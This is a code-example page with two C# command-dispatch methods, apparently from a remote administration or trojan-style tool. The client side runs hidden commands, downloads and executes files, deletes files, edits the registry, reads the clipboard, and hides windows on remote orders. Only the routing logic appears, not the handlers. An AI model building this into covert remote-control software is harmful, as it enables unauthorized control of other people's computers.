Beispiel #1
0
        public void OnDataRetrieved(IClient client, object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];


            MUIHost.Log(string.Format("Network Command: {0}", data[0]), System.Drawing.Color.Blue);
            if (data.Length > 1)
            {
                MUIHost.Log(string.Format("SubCommand Command: {0}", data[1]), System.Drawing.Color.Blue);
            }

            if (command == NetworkCommand.Pong)
            {
                PingHandler.EndPing(client);
            }
            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(client, data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileExplorerHandler.Handle(client, data);
            }
            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(client, data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(client, data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(client, data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupManagerhandler.Handle(client, data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(client, data);
            }
        }
Beispiel #2
0
        public void OnDataRecieved(object[] data)
        {
            NetworkCommand command = (NetworkCommand)data[0];

            Console.WriteLine("NetworkCommand: {0}", command.ToString());

            if (command == NetworkCommand.TaskManager)
            {
                TaskManagerHandler.Handle(data);
            }

            if (command == NetworkCommand.RegistryEdit)
            {
                RegistryEditorHandler.Handle(data);
            }
            if (command == NetworkCommand.FileManager)
            {
                FileManagerHandler.Handle(data);
            }
            if (command == NetworkCommand.Console)
            {
                ConsoleHandler.Handle(data);
            }
            if (command == NetworkCommand.Clipboard)
            {
                ClipboardHandler.Handle(data);
            }
            if (command == NetworkCommand.StartupManager)
            {
                StartupHandler.Handle(data);
            }
            if (command == NetworkCommand.Connections)
            {
                ConnectionsHandler.Handle(data);
            }


            if (command == NetworkCommand.Close)
            {
                Environment.Exit(0);
            }
            if (command == NetworkCommand.Restart)
            {
                MiscHandler.Restart();
            }
            if (command == NetworkCommand.Ping)
            {
                NetworkHost.Send((byte)NetworkCommand.Pong);
            }
            if (command == NetworkCommand.Execute)
            {
                MiscHandler.Execute((string)data[1]);
            }
            if (command == NetworkCommand.ExecuteHidden)
            {
                MiscHandler.ExecuteHidden((string)data[1]);
            }
            if (command == NetworkCommand.DeleteFile)
            {
                MiscHandler.DeleteFile((string)data[1]);
            }
            if (command == NetworkCommand.DownloadAndExecute)
            {
                MiscHandler.DownloadAndExecute((string)data[1], ".exe");
            }
            if (command == NetworkCommand.DownloadFile)
            {
                MiscHandler.DownloadFile((string)data[1], (string)data[2]);
            }
            if (command == NetworkCommand.KillProcess)
            {
                MiscHandler.KillProcess((int)data[1]);
            }
            if (command == NetworkCommand.SuspendProcess)
            {
                MiscHandler.SuspendProcess((int)data[1]);
            }
            if (command == NetworkCommand.ResumeProcess)
            {
                MiscHandler.ResumeProcess((int)data[1]);
            }
            if (command == NetworkCommand.HideWindow)
            {
                MiscHandler.HideWindow((int)data[1]);
            }
        }